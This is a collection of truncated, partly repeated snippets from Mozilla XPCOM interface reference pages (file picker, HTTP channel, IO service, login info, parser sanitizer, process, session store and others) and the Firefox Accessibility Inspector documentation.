...n some platforms, this is automatically appended to filenames the user enters, if required. specify it without a leading dot, for example "jpg". defaultstring astring the filename, including extension, that should be suggested to the user as a default. this should be set before calling open() or show(). exceptions thrown ns_error_failure if you try to read this
attribute. displaydirectory nsilocalfile the directory that the file picker dialog should initially display. this should be set this before calling open() or show() to specify a starting point. file nsilocalfile the currently selected file or directory. read only. files nsisimpleenumerator an enumerator of the currently selected files. read only. ...
nsIHttpChannelInternal
read only. channelisfordownload boolean external handlers may set this to true to notify the channel that it is open on behalf of a download. documenturi nsiuri an http channel can own a reference to the document uri. forceallowthirdpartycookie boolean force relevant cookies to be ...
...read only. channelisfordownload boolean external handlers may set this to true to notify the channel that it is open on behalf of a download. documenturi nsiuri an http channel can own a reference to the document uri. forceallowthirdpartycookie boolean force relevant cookies to be sent with this...
..., in the same format produced by pr_netaddrtostring(). this may be either an ipv4 or ipv6 address. note: if network address translation (nat) is in effect, this may not be the same address the remote host thinks it is talking to. this may throw an ns_error_not_available exception if accessed when the channel's endpoints haven't been determined yet, or any time the nsihttpactivityobserver.isactive
attribute is false. see bug 534698 and bug 526207. read only. localport print32 the local port number to which the channel is bound. this may throw an ns_error_not_available exception if accessed when the channel's endpoints haven't been determined yet, or any time the nsihttpactivityobserver.isactive
attribute is false. see bug 534698 and bug 526207. read only. proxyinfo nsiproxyinfo get the proxy ...
...fo get the proxy info in use by the channel. read only. obsolete since gecko 1.9 remoteaddress autf8string the ip address of the remote host to which this channel is bound, in the same format produced by pr_netaddrtostring(). this may throw an ns_error_not_available exception if accessed when the channel's endpoints haven't been determined yet, or any time the nsihttpactivityobserver.isactive
attribute is false. see bug 534698 and bug 526207. read only. remoteport print32 the remote port number to which the channel is bound. this may throw an ns_error_not_available exception if accessed when the channel's endpoints haven't been determined yet, or any time the nsihttpactivityobserver.isactive
attribute is false. see bug 534698 and bug 526207. read only. methods getrequestversion() gets t...
nsIIOService
when in offline mode, attempts to access the network will fail (although this does not necessarily correlate with whether there is actually a network available -- that's hard to detect without causing the dialer to come up). observers will be notified of changes to this attr...
... methods...
... methods allowport() checks if a port number is banned. this involves consulting a list of unsafe ports, corresponding to network services that may be easily exploitable. if the given port is considered unsafe, then the protocol handler (corresponding to ascheme) will be asked whether it wishes to override the io service's decision to block the port. ...
...e scheme from. return value a string corresponding to the scheme. exceptions thrown ns_error_malformed_uri if url string is not of the right form. getprotocolflags() returns the protocol flags for a given scheme. unsigned long getprotocolflags( in string ascheme ); parameters ascheme the scheme for which to get the protocol flags. return value the value of the protocolflags
attribute for the corresponding nsiprotocolhandler. getprotocolhandler() returns a protocol handler for a given uri scheme. nsiprotocolhandler getprotocolhandler( in string ascheme ); parameters ascheme the uri scheme for which to get a protocol handler. return value an nsiprotocolhandler for the scheme. newchannel() obsolete since gecko 48 a shortcut method to avoid repeated calls of newu...
nsILocalFile
read only. followlinks prbool determines whether or not the nsilocalfile will automatically resolve symbolic links. by default, this value is false on all non-unix systems. as of mozilla 1.7, th...
...withpath(in astring filepath); void launch(); prlibrarystar load(); native code only! file openansifiledesc(in string mode); native code only! prfiledescstar opennsprfiledesc(in long flags, in long mode); native code only! ...
... persistentdescriptor acstring on some platforms, the value of nsifile.path may be insufficient to uniquely identify the file on the local file system. the persistent descriptor is intended to be used whenever a nsilocalfile needs to be serialized to disk and later recovered. this string is not intended for display to users. ...
...unix systems. persistentdescriptor acstring on some platforms, the value of nsifile.path may be insufficient to uniquely identify the file on the local file system. the persistent descriptor is intended to be used whenever a nsilocalfile needs to be serialized to disk and later recovered. this string is not intended for display to users. note: the value of the followlinks
attribute is not encoded in the persistent descriptor. constants constant value description delete_on_close 0x80000000 optional parameter used by opennsprfiledesc(). methods native code only! appendrelativenativepath appends a relative, native character encoding, path to the current path of the nsilocalfile object. void appendrelativenativepath( i...
nsILocalFileMac
bundleidentifier autf8string returns the identifier of the bundle. read only. filecreator ostype native code only! filesizewithresfork print64 returns the combined size of both the data fork and the resource fork (if ...
... bundleidentifier autf8string returns the identifier of the bundle. read only. filecreator ostype native code only! filesizewithresfork print64 returns the combined size of both the data fork and the resource fork (if present) rathe...
...adable name of the application) read only. bundleidentifier autf8string returns the identifier of the bundle. read only. filecreator ostype native code only! filesizewithresfork print64 returns the combined size of both the data fork and the resource fork (if present) rather than just the size of the data fork as returned by getfilesize() read only. filetype ostype file type and creator
attributes. native code only! constants constant value description current_process_creator 0x8000000 use with setfiletype() to specify the signature of current process. obsolete since gecko 2.0 methods native code only!getcfurl note: observes the state of the followlinks
attribute. if the file object is an alias and followlinks is true, returns the target of the alias. if followlinks is false, r...
...e. if the file object is an alias and followlinks is true, returns the target of the alias. if followlinks is false, returns the unresolved alias file. note: supported only for xp_macosx. cfurlref getcfurl(); parameters none. return value the cfurlref of the file object. the caller is responsible for calling cfrelease() on it. native code only!getfsref note: observes the state of the followlinks
attribute. if the file object is an alias and followlinks is true, returns the target of the alias. if followlinks is false, returns the unresolved alias file. note: supported only for xp_macosx. fsref getfsref(); parameters none. return value the fsref of the file object. native code only!getfsspec note: observes the state of the followlinks
attribute. if the file object is an alias and followlinks is tr...
nsILoginInfo
this f...
...this field is null for logi...
..., in astring ausername, in astring apassword, in astring ausernamefield, in astring apasswordfield); boolean matches(in nsilogininfo alogininfo, in boolean ignorepassword);
attributes
attribute type description formsubmiturl astring the origin, not url, a form-based login was submitted to. for logins obtained from html forms, this field is the action
attribute from the form element, with the path removed (for example, "https://www.site.com"). forms with no action
attribute default to submitting to their origin url, so that is stored here. this field is null for logins attained from protocol authentications and "" means to match against any form action. hostname astring the origin, not hostname, to which the login applies (for example, "...
... was requested. when an http server sends a 401 result, the www-authenticate header includes a realm to identify the "protection space." see rfc 2617. if the result did not include a realm, or it was blank, the hostname is used instead. for logins obtained from html forms, this field is null. password astring the password for the login. passwordfield astring the name
attribute for the password input in a form. non-form logins should specify an empty string (""). username astring the username for the login. usernamefield astring the name
attribute for the username input in a form. non-form logins should specify an empty string (""). methods clone() returns a clone of this login. nsilogininfo clone(); parameters none. return va...
nsIMsgDatabase
(in nsmsgkey messagekey, in boolean create); void removeofflineop(in nsimsgofflineimapoperation op); nsisimpleenumerator enumerateofflineops(); void listallofflineopids(in nsmsgkeyarrayptr offlineopids); native code only! void listallofflinedeletes(in nsmsgkeyarrayptr offlinedeletes); native code only! void listallofflinemsgs(in nsmsgkeyarrayptr offlinemsgs); native code only! void set
attributesonpendinghdr(in nsimsgdbhdr pendinghdr, in string property, in string propertyval, in long flags); void createcollationkey(in astring sourcestring, out octetptr key, out unsigned long len); native code only! long comparecollationkeys(in octetptr key1, in unsigned long len1, in octetptr key2, in unsigned long len2); native code only! void getnewlist(out unsigned long count, array, size_is(co...
... nextfakeofflinemsgkey nsmsgkey readonly: for saving "fake...
... nextfakeofflinemsgkey nsmsgkey readonly: for saving "fake" offline msg ...
...ineop(in nsimsgofflineimapoperation op); enumerateofflineops() nsisimpleenumerator enumerateofflineops(); listallofflineopids() [noscript] void listallofflineopids(in nsmsgkeyarrayptr offlineopids); listallofflinedeletes() [noscript] void listallofflinedeletes(in nsmsgkeyarrayptr offlinedeletes); listallofflinemsgs() [noscript] void listallofflinemsgs(in nsmsgkeyarrayptr offlinemsgs); set
attributesonpendinghdr() void set
attributesonpendinghdr(in nsimsgdbhdr pendinghdr, in string property, in string propertyval, in long flags); createcollationkey() [noscript] void createcollationkey(in astring sourcestring, out octetptr key, ...
nsIMsgFilterCustomAction
defined in comm-central/ mailnews/ base/ search/ public/ nsimsgfiltercustomaction.idl interface nsimsgfiltercustomaction : nsisupports { /* globally unique string to identify this filter action. * recommended form: extensionname@example.com#actionname */ readonly
attribute acstring id; /* action name to display in action list. this should be localized. ...
... defined in comm-central/ mailnews/ base/ search/ public/ nsimsgfiltercustomaction.idl interface nsimsgfiltercustomaction : nsisupports { /* globally unique string to identify this filter action. * recommended form: extensionname@example.com#actionname */ readonly
attribute acstring id; /* action name to display in action list. this should be localized. ...
...age a localized message to display if invalid * set to null if the actionvalue is valid */ autf8string validateactionvalue(in autf8string actionvalue, in nsimsgfolder actionfolder, in nsmsgfiltertypetype filtertype); /* allow duplicate actions in the same filter list? default no. */
attribute boolean allowduplicates; /* * the custom action itself * * generally for the apply method, folder-based methods give correct * results and are preferred if available. otherwise, be careful * that the action does correct notifications to maintain counts, and correct * manipulations of both imap and local non-database storage of message * metadata. */ /** * apply th...
...elistener copylistener, in nsmsgfiltertypetype filtertype, in nsimsgwindow msgwindow); /* does this action start an async action? if so, a copy listener must * be used to continue filter processing after the action. this only * applies to after-the-fact (manual) filters. call onstopcopy when done * using the copylistener to continue. */ readonly
attribute boolean isasync; /// does this action need the message body? readonly
attribute boolean needsbody; }; ...
nsIMsgSearchSession
h,out nsmsgsearchscopevalue scopeid, out nsimsgfolder folder); void addscopeterm(in nsmsgsearchscopevalue scope, in nsimsgfolder folder); void adddirectoryscopeterm(in nsmsgsearchscopevalue scope); void clearscopes(); [noscript] boolean scopeusescustomheaders(in nsmsgsearchscopevalue scope, in voidptr selection, in boolean forfilters); boolean isstring
attribute(in nsmsgsearchattribvalue attrib); void addallscopes(in nsmsgsearchscopevalue attrib); void search(in nsimsgwindow awindow); void interruptsearch(); void pausesearch(); void resumesearch(); [noscript] nsmsgsearchtype setsearchparam(in nsmsgsearchtype type, in voidptr param); [noscript] void addresultelement(in nsmsgresultelement eleme...
...search(); void pausesearch(); void resumesearch(); [noscript] nsmsgsearchtype setsearchparam(in nsmsgsearchtype type, in voidptr param); [noscript] void addresultelement(in nsmsgresultelement element); boolean matchhdr(in nsimsgdbhdr amsghdr, in nsimsgdatabase adatabase); void addsearchhit(in nsimsgdbhdr header, in nsimsgfolder folder);
attributes
attribute type description searchterms nsisupportsarray readonly: numsearchterms unsigned long readonly: runningadapter nsimsgsearchadapter readonly: searchparam voidptr not scriptable and readonly: searchtype nsmsgsearchtype readonly: numresults long readonly: window nsims...
... op operator e.g. opcontains value value e.g. "dogbert" booleanand set to true if associated boolean operator is and. arbitraryheader user defined arbitrary header. ignored unless attrib = attribotherheader. createterm() nsimsgsearchterm createterm(); appendterm() void appendterm(in nsimsgsearchterm term); parameters term registerlistener() adds a listener...
...he current scope support custom header use. fes should not display the custom header dialog if custom headers are not supported. [noscript] boolean scopeusescustomheaders(in nsmsgsearchscopevalue scope, in voidptr selection, in boolean forfilters); parameters scope selection could be a folder or server based on scope forfilters isstring
attribute() use this to determine if your
attribute is a string
attribute. boolean isstring
attribute(in nsmsgsearchattribvalue attrib); parameters attrib addallscopes() add all scopes of a given type to the search. void addallscopes(in nsmsgsearchscopevalue attrib); parameters attrib search() void search(in nsimsgwindow awindow); parameters awindow interruptsearch() ...
nsIMsgSearchTerm
defined in mozilla/ mailnews/ base/ search/ public/ nsimsgsearchterm.idl
attributes attrib
attribute nsmsgsearchattribvalue attrib; op
attribute nsmsgsearchopvalue op; value
attribute nsimsgsearchvalue value; booleanand
attribute boolean booleanand; arbitraryheader
attribute acstring arbitraryheader; hdrproperty /** * not to be confused with arbitraryheader, which is a header in the * rfc822 message. this is a property of the nsimsgdbhdr, and may have * nothing to do the message headers, e.g., gloda-id. * value.str will be compared with nsimsghdr::getproperty(hdrproperty). */
attribute acstring hdrproperty; customid /// identifier for a custom id used for this term, if any. ...
...header; hdrproperty /** * not to be confused with arbitraryheader, which is a header in the * rfc822 message. this is a property of the nsimsgdbhdr, and may have * nothing to do the message headers, e.g., gloda-id. * value.str will be compared with nsimsghdr::getproperty(hdrproperty). */
attribute acstring hdrproperty; customid /// identifier for a custom id used for this term, if any. ...
...d with arbitraryheader, which is a header in the * rfc822 message. this is a property of the nsimsgdbhdr, and may have * nothing to do the message headers, e.g., gloda-id. * value.str will be compared with nsimsghdr::getproperty(hdrproperty). */
attribute acstring hdrproperty; customid /// identifier for a custom id used for this term, if any. ...
...* rfc822 message. this is a property of the nsimsgdbhdr, and may have * nothing to do the message headers, e.g., gloda-id. * value.str will be compared with nsimsghdr::getproperty(hdrproperty). */
attribute acstring hdrproperty; customid /// identifier for a custom id used for this term, if any. ...
nsINavHistoryContainerResultNode
read only. childrenreadonly boolean false if the node's list of children can be modified (by adding or removing children, or rearranging them), or true if the user interface should not allow the list of children to be altered. ...
...read only. childrenreadonly boolean false if the node's list of children can be modified (by adding or removing children, or rearranging them), or true if the user interface should not allow the list of children to be altered. read-only. thi...
...ding 1 the container has been opened asynchronously, but is still loading and is not all the way opened yet. state_opened 2 the container is open. methods findnodebydetails() returns a node matching specified details. nsinavhistoryresultnode findnodebydetails( in autf8string auristring, in prtime atime, in long long aitemid, in boolean recursive ); parameters auristring the uri
attribute value to match on. atime the time
attribute to match on. aitemid the item id to match on. arecursive if true, the search will recurse through all child containers of the current container; if false, only direct children of the container are searched. return value an nsinavhistoryresultnode of a node matching the specified details or null if no match is found. exceptions thrown ns_error_not_avai...
...l if no match is found. exceptions thrown ns_error_not_available the container is not open. getchild() returns the child node at the specified index. nsinavhistoryresultnode getchild( in unsigned long aindex ); parameters aindex the index into the child list of the node to fetch. returns the node located at the specified index. exceptions thrown ns_error_not_available the containeropen
attribute is currently false, indicating that the node isn't open for access. getchildindex() returns the index of a direct child of this container. unsigned long getchildindex( in nsinavhistoryresultnode anode ); parameters anode the node whose index is to be returned. return value the index of the specified node into the list of immediate children of the container. exceptions thrown ns_error_not_a...
nsIParserUtils
gned long flags, in boolean isxml, in nsiuri baseuri, in nsidomelement element); astring sanitize(in astring src, in unsigned long flags); constants constant value description sanitizerallowcomments (1 << 0) flag for sanitizer: allow comment nodes. sanitizerallowstyle (1 << 1) flag for sanitizer: allow <style> elements and style
attributes (with contents sanitized in case of -moz-binding). note: if -moz-binding is absent, properties that might be xss risks in other web engines are preserved! sanitizercidembedsonly (1 << 2) flag for sanitizer: only allow cid: urls for embedded content. at present, sanitizing css backgrounds, and so on., is not supported, so setting this together with sanitizerallowst...
...bsent, properties that might be xss risks in other web engines are preserved! sanitizercidembedsonly (1 << 2) flag for sanitizer: only allow cid: urls for embedded content. at present, sanitizing css backgrounds, and so on., is not supported, so setting this together with sanitizerallowstyle doesn't make sense. at present, sanitizing css syntax in svg presentational
attributes is not supported, so this option flattens out svg. sanitizerdropnoncsspresentation (1 << 3) flag for sanitizer: drops non-css presentational html elements and
attributes, such as <font>, <center>, and the bgcolor
attribute. sanitizerdropforms (1 << 4) flag for sanitizer: drops forms and form controls (excluding <fieldset> and <legend>. sanitizerdropmedia...
...olled by a third party is not removed. to avoid ambient information leakage upon loading the sanitized content, use the sanitizerinternalembedsonly flag. in that case, <a> links (and similar) to other content are preserved, so an explicit user action (following a link) after the content has been loaded can still leak information. by default, non-dangerous non-css presentational html elements and
attributes or forms are not removed. to remove these, use sanitizerdropnoncsspresentation and/or sanitizerdropforms. by default, comments and css is removed. to preserve comments, use sanitizerallowcomments. to preserve <style> elements and style
attributes on other elements, use sanitizerallowstyle. -moz-binding is removed from <style> elements and style
attributes if present. in this case, properties th...
...ts and css is removed. to preserve comments, use sanitizerallowcomments. to preserve <style> elements and style
attributes on other elements, use sanitizerallowstyle. -moz-binding is removed from <style> elements and style
attributes if present. in this case, properties that gecko doesn't recognize can get removed as a side effect. note: if -moz-binding is not present, <style> elements and style
attributes, and if sanitizerallowstyle is specified, the sanitized content may still be xss dangerous if loaded into a non-gecko web engine! astring sanitize( in astring src, in unsigned long flags ); parameters src the html source to parse (c++ callers are allowed but not required to use the same string for the return value). flags sanitization option flags defined above. return value the ...
nsIPrincipal
read only. certificateid string the fingerprint id of this principal's certificate. throws if there is no certificate associated with this principal. read only. obso...
...read only. certificateid string the fingerprint id of this principal's certificate. throws if there is no certificate associated with this principal. read only. obsolete since gecko 1.8...
...read only. certificateid string the fingerprint id of this principal's certificate. throws if there is no certificate associated with this principal. read only. ...
...oad anything, and null principals are not allowed to load anything. note: prior to gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1), this was not available to scripts. if the load is allowed this function does nothing. if the load is not allowed the function throws ns_error_dom_bad_uri. note: other policies might override this, such as the access-control specification. note: the 'domain'
attribute has no effect on the behaviour of this function. void checkmayload( in nsiuri uri, in boolean report ); parameters uri missing description report if true, will report a warning to the console service if the load is not allowed. exceptions thrown ns_error_dom_bad_uri the load is not permitted. native code only!disablecapability void disablecapability( in string c...
nsIProcess
this is only valid after the process has exited. read only. isrunning boolean true if the process is running, otherwise false. only accurate if the process was run with blocking disabled. read only. location nsifile the location of the executab...
...this is only valid after the process has exited. read only. isrunning boolean true if the process is running, otherwise false. only accurate if the process was run with blocking disabled. read only. location nsifile the location of the executable file on disk. read...
...lue long the value returned by the process upon exit. this is only valid after the process has exited. read only. isrunning boolean true if the process is running, otherwise false. only accurate if the process was run with blocking disabled. read only. location nsifile the location of the executable file on disk. read only. gecko 1.9.1 note this
attribute is no longer implemented as of gecko 1.9.1, and is removed entirely in gecko 1.9.2. pid unsigned long the process id of the process. this value is only available after the process has started; in addition, some platforms may not offer this value at all. read only. processname string the name of the process. read only. gecko 1.9.1 note this attribu...
... methods init() initializes the nsiprocess with the specified executable file. ...
nsISessionStore
unsigned long getclosedwindowcount(); astring getclosedwindowdata(); astring gettabstate(in nsidomnode atab); astring gettabvalue(in nsidomnode atab, in astring akey); astring getwindowstate(in nsidomwindow awindow); astring getwindowvalue(in nsidomwindow awindow, in astring akey); void init(in nsidomwindow awindow); void persisttab
attribute(in astring aname); void restorelastsession(); void setbrowserstate(in astring astate); void settabstate(in nsidomnode atab, in astring astate); void settabvalue(in nsidomnode atab, in astring akey, in astring astringvalue); void setwindowstate(in nsidomwindow awindow, in astring astate, in boolean aoverwrite); void setwindowvalue(in nsidomwi...
...will always be false when in private browsing mode. methods deletetabvalue() deletes a value from a specified tab. void deletetabvalue( in nsidomnode atab, in astring akey ); parameters atab the tab for which to delete the value. akey the ...
...will always be false when in private browsing mode. methods deletetabvalue() deletes a value from a specified tab. void deletetabvalue( in nsidomnode atab, in astring akey ); parameters atab the tab for which to delete the value. akey the key whose value is to...
...originally a complex data (ie a javascript object) it can then be deserialized using json.parse cf. nsisessionstore.setwindowvalue(). init() initializes the session store service. note: this function is intended for use only by the browser; extensions shouldn't call it. void init( in nsidomwindow awindow ); parameters awindow the window for which to initialize the service. persisttab
attribute() sets the name of a tab
attribute to be saved and restored for all xul tabs. note: at present, there's no way to pick and choose tabs to set persistent
attributes for. this method affects all tabs indiscriminately. void persisttab
attribute( in astring aname ); parameters aname the name of the
attribute to be saved and restored for all tabs. restorelastsession() restore the previous...
nsISupportsPriority
this interface does not strictly define what happens when the priority of an object is changed. an implementation of this interface is free to define the side-effects of changing the priority of an object. in some cases, changing the priority of an object may be disallowed (resulting in an exception being thrown) or may simply be ignored. ...
...e does not strictly define what happens when the priority of an object is changed. an implementation of this interface is free to define the side-effects of changing the priority of an object. in some cases, changing the priority of an object may be disallowed (resulting in an exception being thrown) or may simply be ignored. ...
... constants constant value description priority_highest -20 the highest priority. priority_high -10 higher than normal priority. priority_normal 0 the default priority. priority_low 10 lower than normal priority. ...
...al, but implementations may choose to assign a different initial value. constants constant value description priority_highest -20 the highest priority. priority_high -10 higher than normal priority. priority_normal 0 the default priority. priority_low 10 lower than normal priority. priority_lowest 20 the lowest priority. methods adjustpriority() this method adjusts the priority
attribute by a given amount (delta). void adjustpriority( in long delta ); parameters delta the amount by which to adjust the priority
attribute. see also changing the priority of http requests for an example of using this interface to adjust the priority of an http request. ...
nsITaskbarPreviewController
ties are used by the nsitaskbarpreview interface. 1.0 66 introduced gecko 1.9.2 inherits from: nsisupports last changed in gecko 1.9.2 (firefox 3.6 / thunderbird 3.1 / fennec 1.0) clients should provide their own implementation of this interface. ...
...this value may change at any time. see drawpreview() for more information. read only. thumbnailaspectratio float the thumbnail's aspect ratio. ...
...this value may change at any time. see drawpreview() for more information. read only. thumbnailaspectratio float the thumbnail's aspect ratio. this doesn't need to match the preview's aspect ratio, and is allowed to be changed at any time. ...
...bnailaspectratio float the thumbnail's aspect ratio. this doesn't need to match the preview's aspect ratio, and is allowed to be changed at any time. see drawthumbnail() for more information. read only. width unsigned long the width in pixels of the preview image. this value may change at any time. see drawpreview() for more information. read only. note: although these
attributes are read only, that indicates that the previews controlled by an nsitaskbarpreviewcontroller cannot alter these values. the controller and its supporting code, however, may change this values at any time. methods drawpreview() invoked by nsitaskbarpreview when it needs to render the preview. the specified context is attached to a surface with the controller's width and height, the values of w...
nsITaskbarWindowPreview
ault, windows implements much of the behavior for applications in a standard way. this interface's primary purpose is to let gecko applications take control over parts of the preview; however, certain parts of the preview are not controlled using this interface. for example, the title and icon for each preview always match the title and icon of the corresponding window. if the enablecustomdrawing
attribute is true, the controller you implement will start receiving calls to its nsitaskbarpreviewcontroller.drawpreview() and nsitaskbarpreviewcontroller.drawthumbnail() methods, as well as reads of its width, height, and thumbnailaccessratio
attributes. by default, however, windows handles this drawing by itself. in addition, these previews are visible by default. when made invisible, the window disappe...
...ibutes. by default, however, windows handles this drawing by itself. in addition, these previews are visible by default. when made invisible, the window disappears from the list of the application's windows in the taskbar. if a window has any visible nsitaskbartabpreview objects, the nsitaskbarwindowpreview for the corresponding window is automatically hidden. this is not reflected by the visible
attribute. note that even while the preview is hidden, its thumbnails and/or previews may still be requested by other parts of the operating system through the nsitaskbarwindowpreview's controller. note: this interface will never invoke the controller's nsitaskbarpreviewcontroller.onclose() or nsitaskbarpreviewcontroller.onactivate() methods, since handling them may conflict with other internal gecko st...
...hods, since handling them may conflict with other internal gecko state management. there is existing infrastructure in place to let clients handle those events. window preview toolbars window previews may have a toolbar with up to seven buttons. the array of buttons may be accessed by calling getbutton(); each button is an nsitaskbarpreviewbutton object. ...
...ccessed by calling getbutton(); each button is an nsitaskbarpreviewbutton object. you may customize these buttons using the
attributes on that interface. user clicks on the toolbar buttons are reported to your nsitaskbarpreviewcontroller implementation's nsitaskbarpreviewcontroller.onclick() method. method overview nsitaskbarpreviewbutton getbutton(in unsigned long index);
attributes
attribute type description enablecustomdrawing boolean if true, the nsitaskbarpreviewcontroller object's nsitaskbarpreviewcontroller.drawpreview() and nsitaskbarpreviewcontroller.drawthumbnail() methods will be called to draw the preview. if false, the operating system draws these for you. constants constant val...
nsITreeBoxObject
focused boolean whether or not we are currently focused. ...
... focused boolean whether or not we are currently focused. treebody ...
... focused boolean whether or not we are currently focused. treebody nsidomelement readonly: obtain the treebody content node. ...
... focused boolean whether or not we are currently focused. treebody nsidomelement readonly: obtain the treebody content node. this is a node that corresponds to the treechildren tag. rowheight long readonly: obtain the height of a row. ...
nsITreeSelection
read only. currentcolumn nsitreecolumn the current column. currentindex long the current item (the one with focus). note: this property indicates only the index of the row with tree cursor around it. this is not a reliable method of deter...
...read only. currentcolumn nsitreecolumn the current column. currentindex long the current item (the one with focus). note: this property indicates only the index of the row with tree cursor around it. this is not a reliable method of determining the selected ...
...mn the current column. currentindex long the current item (the one with focus). note: this property indicates only the index of the row with tree cursor around it. this is not a reliable method of determining the selected row, as the selection may include multiple rows, or the focused row may not even be selected. selecteventssuppressed boolean this
attribute is a boolean indicating whether or not the "select" event should fire when the selection is changed using one of our methods. a view can use this to temporarily suppress the selection while manipulating all of the indices, for example, on a sort. note: setting this
attribute to false will fire a select event. shiftselectpivot long the selection "pivot". this is the first item t...
...read only. tree nsitreeboxobject the tree widget for this selection. methods adjustselection() called when the row count changes to adjust selection indices. ...
nsIURL
if the trailing slash is omitted, then the directory is /foo/ and the file is bar (that is t...
...if the trailing slash is omitted, then the directory is /foo/ and the file is bar (that is this is a syntactic, ...
...// your code here } method overview autf8string getcommonbasespec(in nsiuri auritocompare); autf8string getrelativespec(in nsiuri auritocompare);
attributes
attribute type description directory autf8string directory portion of a url. if the url denotes a path to a directory and not a file, for example http://host/foo/bar/, then the directory
attribute accesses the complete /foo/bar/ portion, and the filename is the empty string. if the trailing slash is omitted, then the directory is /foo/ and the file is bar (that is this is a syntactic, not a semantic breakdown of the path). and hence don't rely on this for something to be a definitely be a file. but you can get just the leading directory portion for sure. some characters may be escaped. ...
... a url. some characters may be escaped. fileextension autf8string file extension portion of a filename in a url. if a file extension does not exist, the empty string is returned. some characters may be escaped. filename autf8string file name portion of a url. if the url denotes a path to a directory and not a file, for example http://host/foo/bar/, then the directory
attribute accesses the complete /foo/bar/ portion, and the filename is the empty string. note that this is purely based on searching for the last trailing slash. and hence don't rely on this to be a definite file. some characters may be escaped. filepath autf8string path including the directory and file portions of a url. for example, the filepath of "http://host/foo/bar.html#baz" is "/foo/b...
nsIWebBrowserChrome
ng an embedded gecko web browser. inherits from: nsisupports last changed in gecko 0.9.6 method overview void destroybrowserwindow(); void exitmodaleventloop(in nsresult astatus); boolean iswindowmodal(); void setstatus(in unsigned long statustype, in wstring status); void showasmodal(); void sizebrowserto(in long acx, in long acy);
attributes
attribute type description chromeflags unsigned long the chrome flags for this browser chrome. the implementation should reflect the value of this
attribute by hiding or showing its chrome appropriately. webbrowser nsiwebbrowser the currently loaded webbrowser. the browser chrome may be told to set the webbrowser object to a new object by setting this...
...in this case the implementer is responsible for taking the new webbrowser object and doing any necessary initialization or setup as if it had created the webbrowser itself. this includes positioning setting up listeners etc. ...
...y initialization or setup as if it had created the webbrowser itself. this includes positioning setting up listeners etc. constants constant value description status_script 1 flag for setstatus() status_script_default 2 flag for setstatus() status_link 3 flag for setstatus() chrome_default 1 value for the chromeflags
attribute. chrome_window_borders 2 value for the chromeflags
attribute. chrome_window_close 4 value for the chromeflags
attribute. chrome_window_resize 8 value for the chromeflags
attribute. chrome_menubar 16 value for the chromeflags
attribute. chrome_toolbar 32 value for the chromeflags
attribute. chrome_locationbar 64...
...rs 2 value for the chromeflags
attribute. chrome_window_close 4 value for the chromeflags
attribute. chrome_window_resize 8 value for the chromeflags
attribute. chrome_menubar 16 value for the chromeflags
attribute. chrome_toolbar 32 value for the chromeflags
attribute. chrome_locationbar 64 value for the chromeflags
attribute. chrome_statusbar 128 value for the chromeflags
attribute. chrome_personal_toolbar 256 value for the chromeflags
attribute. chrome_scrollbars 512 value for the chromeflags
attribute. chrome_titlebar 1024 value for the chromeflags
attribute. chrome_extra 2048 value for the chromeflags
attribute. chrome_with_size ...
nsIWindowsRegKey
it is possible to initialize this obj...
... it is possible to initialize this object by setting an hk...
...d stopwatching(); void writebinaryvalue(in astring name, in acstring data); void writeint64value(in astring name, in unsigned long long data); void writeintvalue(in astring name, in unsigned long data); void writestringvalue(in astring name, in astring data);
attributes
attribute type description childcount unsigned long this
attribute returns the number of child keys. read only. key hkey this
attribute exposes the native hkey and is available to provide c++ consumers with the flexibility of making other windows registry api calls that are not exposed via this interface. it is possible to initialize this object by setting an hkey on it. in that case, it is the responsibility of the consumer setting the h...
...the flexibility of making other windows registry api calls that are not exposed via this interface. it is possible to initialize this object by setting an hkey on it. in that case, it is the responsibility of the consumer setting the hkey to ensure that it is a valid hkey. warning: setting the key does not close() the old key. native code only! valuecount unsigned long this
attribute returns the number of values under this key. read only. constants root key constants the values for these keys correspond to the values from winreg.h in the ms platform sdk. the root_key_ prefix corresponds to the hkey_ prefix in the ms platform sdk. this interface is not restricted to using only these root keys. constant value description root_key_classes_root 0x...
nsMsgSearchAttrib
defined in comm-central/ mailnews/ base/ search/ public/ nsmsgsearchcore.idl typedef long nsmsgsearchattribvalue; /** * definitions of search
attribute types. the numerical order * from here will also be used to determine the order that the *
attributes display in the filter editor. */ [scriptable, uuid(a83ca7e8-4591-4111-8fb8-fd76ac73c866)] interface nsmsgsearchattrib { const nsmsgsearchattribvalue custom = -2; /* a custom term, see nsimsgsearchcustomterm */ const nsmsgsearchattribvalue default = -1; const nsmsgsearchattribvalue subject = 0; /* mail and news */ const nsmsgsearchattribvalue sender = 1; const nsmsgsearchattribvalue body = 2; const nsmsgsearchattribvalue date = 3; const nsmsgsearchattribvalue priority = 4; /* mail only */ const ns...
... const nsmsgsearchattribvalue hdrproperty = 49; // uses nsimsgsearchterm::hdrproperty const nsmsgsearchattribvalue folderflag = 50; // uses nsimsgsearchterm::status const nsmsgsearchattribvalue uint32hdrproperty = 51; // uses nsimsgsearchterm::hdrproperty // 52 is for showing customize - in ui headers start from 53 onwards up until 99. ...
...searchterm::hdrproperty // 52 is for showing customize - in ui headers start from 53 onwards up until 99. /** otherheader must always be last
attribute since * we can have an arbitrary # of these. the number can be changed, * however, because we never persist attribvalues as integers. ...
...mize - in ui headers start from 53 onwards up until 99. /** otherheader must always be last
attribute since * we can have an arbitrary # of these. the number can be changed, * however, because we never persist attribvalues as integers. ...
Accessibility Inspector - Firefox Developer Tools
g., are they just text, or are they buttons, links, form elements, etc.?). semantic dom elements have roles assigned to them by default that hint at what their purpose is. sometimes, however, you need to use some non-semantic markup (e.g., <div>s) to build a complex custom control, and the control won't have a default role that reflects its purpose. in such a situation, you can use wai-aria role
attributes to provide your own roles. roles and other information exposed by browser accessibility apis are presented in a hierarchical structure called the accessibility tree. this is a bit like the dom tree, except that it contains a more limited set of elements and slightly different information about them. assistive technologies like screenreaders use this information to find out what's on a web page...
...the items in the accessibility tree for the current page. items with nested children have arrows that can be clicked to reveal the children, so you can move deeper into the hierarchy. each item has two properties listed: role — the role this item has on the page (e.g., pushbutton, or footer). this can be either a default role provided by the browser, or a role given to it via a wai-aria role
attribute. name — the name this item has on the page. the name depends on the element; for example, the name of most text elements is simply their textcontent, whereas form elements' names are the contents of their associated <label>. on the right-hand side, you can see further information about the currently selected item. the listed properties are as follows: name — the item's name, as describe...
...he corresponding <a> element's href. domnode — the type of dom node that the item in the accessibility tree represents. you can click on the "target" icon that comes after it to select the node in the page inspector. hovering over the "target" icon highlights the dom node in the page content. description — any further description provided on the element, usually by the content of a title
attribute. keyboardshortcut — any keyboard shortcut that is available to activate the element, as specified in an accesskey
